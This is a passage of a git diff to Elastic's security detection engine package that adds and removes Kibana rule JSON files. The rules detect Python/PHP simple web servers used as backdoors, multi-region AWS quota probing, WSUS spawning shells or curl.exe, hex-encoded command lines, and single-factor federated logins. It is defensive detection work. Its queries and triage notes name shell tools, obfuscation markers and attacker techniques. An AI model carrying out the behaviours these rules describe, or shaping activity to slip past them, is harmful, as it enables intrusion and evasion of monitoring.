\ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/183f3cd2-4cc6-44c0-917c-c5d29ecdcf74_2.json b/packages/security_detection_engine/kibana/security_rule/183f3cd2-4cc6-44c0-917c-c5d29ecdcf74_2.json deleted file mode 100644 index 8aa0604c4b1..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/183f3cd2-4cc6-44c0-917c-c5d29ecdcf74_2.json +++ /dev/null @@ -1,130 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule detects connections accepted by a simple HTTP web server in Python and PHP built-in modules. Adversaries may create simple HTTP web servers to establish persistence on a compromised system by uploading a reverse or command shell payload to the server web root, allowing them to regain remote access to the system if lost. This event may occur when an attacker requests the server to execute a command or script via a potential backdoor.", - "from": "now-9m", - "index": [ - "logs-endpoint.events.network*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "Simple HTTP Web Server Connection", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Simple HTTP Web Server Connection\n\nSimple HTTP servers in Python and PHP are often used for development and testing, providing a quick way to serve web content. However, attackers can exploit these servers to maintain access on compromised Linux systems by deploying backdoors or executing commands remotely. The detection rule identifies suspicious server activity by monitoring for specific process patterns and command-line arguments indicative of these lightweight servers, flagging potential misuse for further investigation.\n\n### Possible investigation steps\n\n- Review the process details, including the process name and command line arguments, to confirm if the server was started using Python or PHP, as indicated by the query fields.\n- Check the network connection details associated with the event, such as the source and destination IP addresses and ports, to identify any suspicious or unexpected connections.\n- Investigate the user account under which the process was initiated to determine if it aligns with expected behavior or if it indicates potential unauthorized access.\n- Examine the system logs and any related events around the time of the alert to identify any additional suspicious activities or anomalies.\n- Assess the server's web root directory for any unauthorized files or scripts that could indicate a backdoor or malicious payload.\n- Correlate this event with other alerts or indicators of compromise on the system to evaluate if this is part of a larger attack campaign.\n\n### False positive analysis\n\n- Development and testing environments may frequently trigger this rule when developers use Python or PHP's built-in HTTP servers for legitimate purposes. To manage this, consider excluding specific user accounts or IP addresses associated with development activities from the rule.\n- Automated scripts or cron jobs that start simple HTTP servers for routine tasks can also generate false positives. Identify these scripts and add their process names or command-line patterns to an exception list.\n- Educational or training environments where students are learning web development might cause alerts. In such cases, exclude the network segments or user groups associated with these activities.\n- Internal tools or services that rely on lightweight HTTP servers for functionality might be flagged. Review these tools and whitelist their specific process names or command-line arguments to prevent unnecessary alerts.\n- Temporary testing servers spun up for short-term projects can be mistaken for malicious activity. Document these instances and apply temporary exceptions during the project duration.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.\n- Terminate any suspicious Python or PHP processes identified by the detection rule to stop the potential backdoor or unauthorized server activity.\n- Conduct a thorough review of the system's file system, focusing on the web root directory, to identify and remove any unauthorized scripts or payloads that may have been uploaded.\n- Change all credentials associated with the compromised system, including SSH keys and passwords, to prevent attackers from regaining access.\n- Restore the system from a known good backup if any unauthorized changes or persistent threats are detected that cannot be easily remediated.\n- Implement network monitoring to detect any future unauthorized HTTP server activity, focusing on unusual process patterns and command-line arguments.\n- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network.", - "query": "network where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"connection_accepted\" and (\n (process.name regex~ \"\"\"php?[0-9]?\\.?[0-9]{0,2}\"\"\" and process.command_line like \"*-S*\") or\n (process.name like \"python*\" and process.command_line like (\"*--cgi*\", \"*CGIHTTPServer*\"))\n)\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.command_line", - "type": "wildcard" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - } - ], - "risk_score": 21, - "rule_id": "183f3cd2-4cc6-44c0-917c-c5d29ecdcf74", - "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Persistence", - "Tactic: Execution", - "Tactic: Command and Control", - "Data Source: Elastic Defend", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1505", - "name": "Server Software Component", - "reference": "https://attack.mitre.org/techniques/T1505/", - "subtechnique": [ - { - "id": "T1505.003", - "name": "Web Shell", - "reference": "https://attack.mitre.org/techniques/T1505/003/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.004", - "name": "Unix Shell", - "reference": "https://attack.mitre.org/techniques/T1059/004/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0011", - "name": "Command and Control", - "reference": "https://attack.mitre.org/tactics/TA0011/" - }, - "technique": [ - { - "id": "T1071", - "name": "Application Layer Protocol", - "reference": "https://attack.mitre.org/techniques/T1071/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 2 - }, - "id": "183f3cd2-4cc6-44c0-917c-c5d29ecdcf74_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/19be0164-63d2-11ef-8e38-f661ea17fbce_5.json b/packages/security_detection_engine/kibana/security_rule/19be0164-63d2-11ef-8e38-f661ea17fbce_5.json new file mode 100644 index 00000000000..7b27f3615c7 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/19be0164-63d2-11ef-8e38-f661ea17fbce_5.json @@ -0,0 +1,74 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies when a single AWS resource is making `GetServiceQuota` API calls for the EC2 service quota L-1216C47A in more than 10 regions within a 30-second window. Quota code L-1216C47A represents on-demand instances which are used by adversaries to deploy malware and mine cryptocurrency. This could indicate a potential threat actor attempting to discover the AWS infrastructure across multiple regions using compromised credentials or a compromised instance.", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "AWS Service Quotas Multi-Region `GetServiceQuota` Requests", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS Service Quotas Multi-Region `GetServiceQuota` Requests\n\nAWS Service Quotas manage resource limits across AWS services, crucial for maintaining operational boundaries. Adversaries may exploit `GetServiceQuota` API calls to probe AWS infrastructure, seeking vulnerabilities for deploying threats like cryptocurrency miners. The detection rule identifies unusual multi-region queries for EC2 quotas, signaling potential credential compromise or unauthorized access attempts.\n\n### Possible investigation steps\n\n- Review the AWS CloudTrail logs to identify the specific user or role associated with the `aws.cloudtrail.user_identity.arn` field that triggered the alert. Determine if this user or role should have access to multiple regions.\n- Examine the `cloud.region` field to identify which regions were accessed and verify if these regions are typically used by your organization. Investigate any unfamiliar regions for unauthorized activity.\n- Check the AWS IAM policies and permissions associated with the identified user or role to ensure they align with the principle of least privilege. Look for any recent changes or anomalies in permissions.\n- Investigate the source IP addresses and locations from which the `GetServiceQuota` API calls were made to determine if they match expected patterns for your organization. Look for any unusual or suspicious IP addresses.\n- Review recent activity logs for the identified user or role to detect any other unusual or unauthorized actions, such as attempts to launch EC2 instances or access other AWS services.\n- If a compromise is suspected, consider rotating the credentials for the affected user or role and implementing additional security measures, such as multi-factor authentication (MFA) and enhanced monitoring.\n\n### False positive analysis\n\n- Legitimate multi-region operations: Organizations with a global presence may have legitimate reasons for querying EC2 service quotas across multiple regions. To handle this, users can create exceptions for known accounts or roles that regularly perform such operations.\n- Automated infrastructure management tools: Some tools or scripts designed for infrastructure management might perform multi-region `GetServiceQuota` requests as part of their normal operation. Users should identify these tools and exclude their activity from triggering alerts by whitelisting their associated user identities or ARNs.\n- Testing and development activities: Developers or testers might intentionally perform multi-region queries during testing phases. Users can mitigate false positives by setting up temporary exceptions for specific time frames or user identities involved in testing.\n- Cloud service providers or partners: Third-party services or partners managing AWS resources on behalf of an organization might generate similar patterns. Users should establish trust relationships and exclude these entities from detection by verifying their activities and adding them to an exception list.\n\n### Response and remediation\n\n- Immediately isolate the AWS account or IAM user identified in the alert to prevent further unauthorized access. This can be done by disabling the access keys or suspending the account temporarily.\n- Conduct a thorough review of the AWS CloudTrail logs for the identified user or resource to determine the extent of the unauthorized activity and identify any other potentially compromised resources.\n- Rotate all access keys and passwords associated with the compromised account or IAM user to prevent further unauthorized access.\n- Implement additional security measures such as enabling multi-factor authentication (MFA) for all IAM users and roles to enhance account security.\n- Notify the security operations team and relevant stakeholders about the potential compromise and the steps being taken to remediate the issue.\n- If evidence of compromise is confirmed, consider engaging AWS Support or a third-party incident response team for further investigation and assistance.\n- Review and update IAM policies and permissions to ensure the principle of least privilege is enforced, reducing the risk of future unauthorized access attempts.", + "query": "from logs-aws.cloudtrail-*\n\n// filter for GetServiceQuota API calls\n| where\n event.dataset == \"aws.cloudtrail\"\n and event.provider == \"servicequotas.amazonaws.com\"\n and event.action == \"GetServiceQuota\"\n\n// truncate the timestamp to a 30-second window\n| eval Esql.time_window_date_trunc = date_trunc(30 seconds, @timestamp)\n\n// dissect request parameters to extract service and quota code\n| dissect aws.cloudtrail.request_parameters \"{%{?Esql.aws_cloudtrail_request_parameters_service_code_key}=%{Esql.aws_cloudtrail_request_parameters_service_code}, %{?quota_code_key}=%{Esql.aws_cloudtrail_request_parameters_quota_code}}\"\n\n// filter for EC2 service quota L-1216C47A (vCPU on-demand instances)\n| where Esql.aws_cloudtrail_request_parameters_service_code == \"ec2\" and Esql.aws_cloudtrail_request_parameters_quota_code == \"L-1216C47A\"\n\n// keep only the relevant fields\n| keep\n Esql.time_window_date_trunc,\n aws.cloudtrail.user_identity.arn,\n cloud.region,\n Esql.aws_cloudtrail_request_parameters_service_code,\n Esql.aws_cloudtrail_request_parameters_quota_code\n\n// count the number of unique regions and total API calls within the time window\n| stats\n Esql.cloud_region_count_distinct = count_distinct(cloud.region),\n Esql.event_count = count(*)\n by Esql.time_window_date_trunc, aws.cloudtrail.user_identity.arn\n\n// filter for API calls in more than 10 regions within the 30-second window\n| where\n Esql.cloud_region_count_distinct >= 10\n and Esql.event_count >= 10\n\n// sort by time window descending\n| sort Esql.time_window_date_trunc desc\n", + "references": [ + "https://www.sentinelone.com/labs/exploring-fbot-python-based-malware-targeting-cloud-and-payment-services/", + "https://docs.aws.amazon.com/servicequotas/2019-06-24/apireference/API_GetServiceQuota.html" + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.cloud_region_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + }, + { + "ecs": false, + "name": "aws.cloudtrail.user_identity.arn", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "19be0164-63d2-11ef-8e38-f661ea17fbce", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS Service Quotas", + "Use Case: Threat Detection", + "Tactic: Discovery", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1580", + "name": "Cloud Infrastructure Discovery", + "reference": "https://attack.mitre.org/techniques/T1580/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 5 + }, + "id": "19be0164-63d2-11ef-8e38-f661ea17fbce_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/1ac027c2-8c60-4715-af73-927b9c219e20_1.json b/packages/security_detection_engine/kibana/security_rule/1ac027c2-8c60-4715-af73-927b9c219e20_1.json new file mode 100644 index 00000000000..2bd3afa8121 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/1ac027c2-8c60-4715-af73-927b9c219e20_1.json @@ -0,0 +1,136 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies suspicious processes being spawned by the Windows Server Update Service. This activity may indicate exploitation activity or access to an existing web shell backdoor.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process-*", + "winlogbeat-*", + "logs-windows.sysmon_operational-*", + "endgame-*", + "logs-m365_defender.event-*", + "logs-sentinel_one_cloud_funnel.*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Windows Server Update Service Spawning Suspicious Processes", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Windows Server Update Service Spawning Suspicious Processes\n\n### Possible investigation steps\n\n- Examine the child process details, focusing on the process names and original file names such as cmd.exe, powershell.exe, pwsh.exe, and powershell_ise.exe, to identify any unauthorized or unexpected command-line activity.\n- Investigate the timeline of events leading up to the alert, including any preceding or subsequent processes, to understand the context and potential impact of the suspicious activity.\n- Check for any associated network activity or connections initiated by the suspicious processes to identify potential data exfiltration or communication with external command and control servers.\n- Review recent changes or access logs on the affected server to identify any unauthorized access attempts or modifications that could indicate exploitation or the presence of a web shell.\n- Correlate the alert with other security events or logs from data sources like Elastic Endgame, Elastic Defend, Sysmon, Microsoft Defender for Endpoint, or SentinelOne to gather additional context and corroborate findings.\n- Assess the risk and impact of the detected activity, considering the severity and risk score, and determine appropriate response actions, such as isolating the affected system or conducting a deeper forensic analysis.\n\n### False positive analysis\n\n- This behavior is rare and should be treated with high suspicion.\n\n### Response and remediation\n\n- Immediately isolate the affected Server from the network to prevent further unauthorized access or lateral movement.\n- Terminate any suspicious processes identified as being spawned by w3wp.exe, such as cmd.exe or powershell.exe, to halt any ongoing malicious activity.\n- Conduct a thorough review of the server's application pools and web directories to identify and remove any unauthorized web shells or scripts.\n- Restore the server from a known good backup taken before the suspicious activity was detected to ensure system integrity.\n- Apply the latest security patches and updates to the Server to mitigate known vulnerabilities and prevent exploitation.\n- Monitor network traffic and server logs for any signs of continued or attempted exploitation, focusing on unusual outbound connections or repeated access attempts.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been compromised.", + "query": "process where host.os.type == \"windows\" and event.type == \"start\" and\n process.name : (\"cmd.exe\", \"powershell.exe\", \"pwsh.exe\", \"powershell_ise.exe\", \"rundll32.exe\", \"curl.exe\") and\n (\n (process.parent.name : \"w3wp.exe\" and process.parent.args : \"WsusPool\") or\n process.parent.name : \"WsusService.exe\"\n )\n", + "references": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287", + "https://hawktrace.com/blog/CVE-2025-59287" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "windows", + "version": "^3.0.0" + }, + { + "package": "m365_defender", + "version": "^3.0.0" + }, + { + "package": "sentinel_one_cloud_funnel", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "1ac027c2-8c60-4715-af73-927b9c219e20", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Initial Access", + "Tactic: Execution", + "Data Source: Elastic Endgame", + "Data Source: Elastic Defend", + "Data Source: Sysmon", + "Data Source: Microsoft Defender for Endpoint", + "Data Source: SentinelOne", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0001", + "name": "Initial Access", + "reference": "https://attack.mitre.org/tactics/TA0001/" + }, + "technique": [ + { + "id": "T1190", + "name": "Exploit Public-Facing Application", + "reference": "https://attack.mitre.org/techniques/T1190/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + }, + { + "id": "T1059.003", + "name": "Windows Command Shell", + "reference": "https://attack.mitre.org/techniques/T1059/003/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 1 + }, + "id": "1ac027c2-8c60-4715-af73-927b9c219e20_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/1d0027d4-6717-4a37-bad8-531d8e9fe53f_3.json b/packages/security_detection_engine/kibana/security_rule/1d0027d4-6717-4a37-bad8-531d8e9fe53f_3.json new file mode 100644 index 00000000000..7e242424522 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/1d0027d4-6717-4a37-bad8-531d8e9fe53f_3.json @@ -0,0 +1,130 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects when a process executes a command line containing hexadecimal characters. Malware authors may use hexadecimal encoding to obfuscate their payload and evade detection.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Potential Hex Payload Execution via Command-Line", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Hex Payload Execution via Command-Line\n\nIn Linux environments, command-line interfaces are pivotal for executing processes and scripts. Adversaries exploit this by embedding payloads in hexadecimal format to obfuscate their actions, evading detection. The detection rule identifies processes with lengthy command lines containing multiple hex patterns, signaling potential obfuscation. This approach targets defense evasion tactics, leveraging Elastic Defend to flag suspicious executions.\n\n### Possible investigation steps\n\n- Review the process.command_line field to identify the specific hexadecimal patterns and assess if they correspond to known malicious payloads or commands.\n- Examine the process.parent.executable to determine the parent process that initiated the execution, which may provide context on whether the execution is expected or suspicious.\n- Check the user account associated with the process execution to verify if the activity aligns with typical user behavior or if it indicates potential compromise.\n- Investigate the host where the alert was triggered to identify any other related suspicious activities or anomalies that might indicate a broader compromise.\n- Correlate the event with other logs or alerts from the same host or user to identify patterns or repeated attempts at obfuscation and execution.\n\n### False positive analysis\n\n- Legitimate software installations or updates may use hexadecimal encoding in command lines for legitimate purposes. Users can create exceptions for known software update processes by identifying their parent executable paths and excluding them from the rule.\n- System administration scripts or tools that utilize hexadecimal encoding for configuration or data processing might trigger the rule. Review and whitelist these scripts by verifying their source and purpose, then exclude them based on their command line patterns or parent processes.\n- Security tools or monitoring software that perform regular scans or data collection using hexadecimal encoding could be flagged. Confirm these tools' legitimacy and add them to an exception list by specifying their executable paths or command line characteristics.\n- Custom applications developed in-house that use hexadecimal encoding for data handling or communication may be mistakenly identified. Document these applications and exclude them by their unique command line signatures or parent process identifiers.\n\n### Response and remediation\n\n- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity.\n- Terminate the suspicious process identified by the detection rule to halt any ongoing malicious execution.\n- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as modified files or unauthorized user accounts.\n- Remove any identified malicious files or scripts from the system to ensure the threat is eradicated.\n- Restore the system from a known good backup if any critical system files or configurations have been altered.\n- Update and patch the system to close any vulnerabilities that may have been exploited by the adversary.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.\n", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"ProcessRollup2\") and\n?process.parent.executable != null and\nprocess.command_line : \"*\\\\x*\\\\x*\\\\x*\\\\x*\\\\x*\\\\x*\\\\x*\\\\x*\\\\x*\\\\x*\\\\x*\\\\x*\\\\x*\\\\x*\" and\nlength(process.command_line) > 50\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.parent.executable", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "1d0027d4-6717-4a37-bad8-531d8e9fe53f", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Tactic: Execution", + "Data Source: Elastic Defend", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + }, + { + "id": "T1204", + "name": "User Execution", + "reference": "https://attack.mitre.org/techniques/T1204/", + "subtechnique": [ + { + "id": "T1204.002", + "name": "Malicious File", + "reference": "https://attack.mitre.org/techniques/T1204/002/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 3 + }, + "id": "1d0027d4-6717-4a37-bad8-531d8e9fe53f_3", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/1f45720e-5ea8-11ef-90d2-f661ea17fbce_2.json b/packages/security_detection_engine/kibana/security_rule/1f45720e-5ea8-11ef-90d2-f661ea17fbce_2.json deleted file mode 100644 index 348af052e8f..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/1f45720e-5ea8-11ef-90d2-f661ea17fbce_2.json +++ /dev/null @@ -1,56 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies when a federated user logs into the AWS Management Console without using multi-factor authentication (MFA). Federated users are typically given temporary credentials to access AWS services. If a federated user logs into the AWS Management Console without using MFA, it may indicate a security risk, as MFA adds an additional layer of security to the authentication process. This could also indicate the abuse of STS tokens to bypass MFA requirements.", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "AWS Signin Single Factor Console Login with Federated User", - "query": "from logs-aws.cloudtrail-* metadata _id, _version, _index\n| where\n event.provider == \"signin.amazonaws.com\"\n and event.action == \"GetSigninToken\"\n and aws.cloudtrail.event_type == \"AwsConsoleSignIn\"\n and aws.cloudtrail.user_identity.type == \"FederatedUser\"\n| dissect aws.cloudtrail.additional_eventdata \"{%{?mobile_version_key}=%{mobile_version}, %{?mfa_used_key}=%{mfa_used}}\"\n| where mfa_used == \"No\"\n| keep @timestamp, event.action, aws.cloudtrail.event_type, aws.cloudtrail.user_identity.type\n", - "references": [ - "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/" - ], - "risk_score": 47, - "rule_id": "1f45720e-5ea8-11ef-90d2-f661ea17fbce", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: Amazon Web Services", - "Data Source: AWS", - "Data Source: AWS Sign-In", - "Use Case: Threat Detection", - "Tactic: Initial Access" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0001", - "name": "Initial Access", - "reference": "https://attack.mitre.org/tactics/TA0001/" - }, - "technique": [ - { - "id": "T1078", - "name": "Valid Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/", - "subtechnique": [ - { - "id": "T1078.004", - "name": "Cloud Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/004/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 2 - }, - "id": "1f45720e-5ea8-11ef-90d2-f661ea17fbce_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/1fa350e0-0aa2-4055-bf8f-ab8b59233e59_7.json b/packages/security_detection_engine/kibana/security_rule/1fa350e0-0aa2-4055-bf8f-ab8b59233e59_7.json new file mode 100644 index 00000000000..f07f79b22b8 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/1fa350e0-0aa2-4055-bf8f-ab8b59233e59_7.json @@ -0,0 +1,82 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects a high number of egress network connections from an unusual executable on a Linux system. This could indicate a command and control (C2) communication attempt, a brute force attack via a malware infection, or other malicious activity. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", + "from": "now-61m", + "interval": "1h", + "language": "esql", + "license": "Elastic License v2", + "name": "High Number of Egress Network Connections from Unusual Executable", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating High Number of Egress Network Connections from Unusual Executable\n\nIn Linux environments, executables can initiate network connections for legitimate purposes. However, adversaries exploit this by deploying malware in temporary directories to establish command and control (C2) channels. The detection rule identifies unusual executables making numerous outbound connections, excluding trusted IP ranges and known benign paths, to flag potential threats.\n\n### Possible investigation steps\n\n- Review the process.executable field to identify the specific executable making the connections and determine if it is known or expected in the environment.\n- Examine the 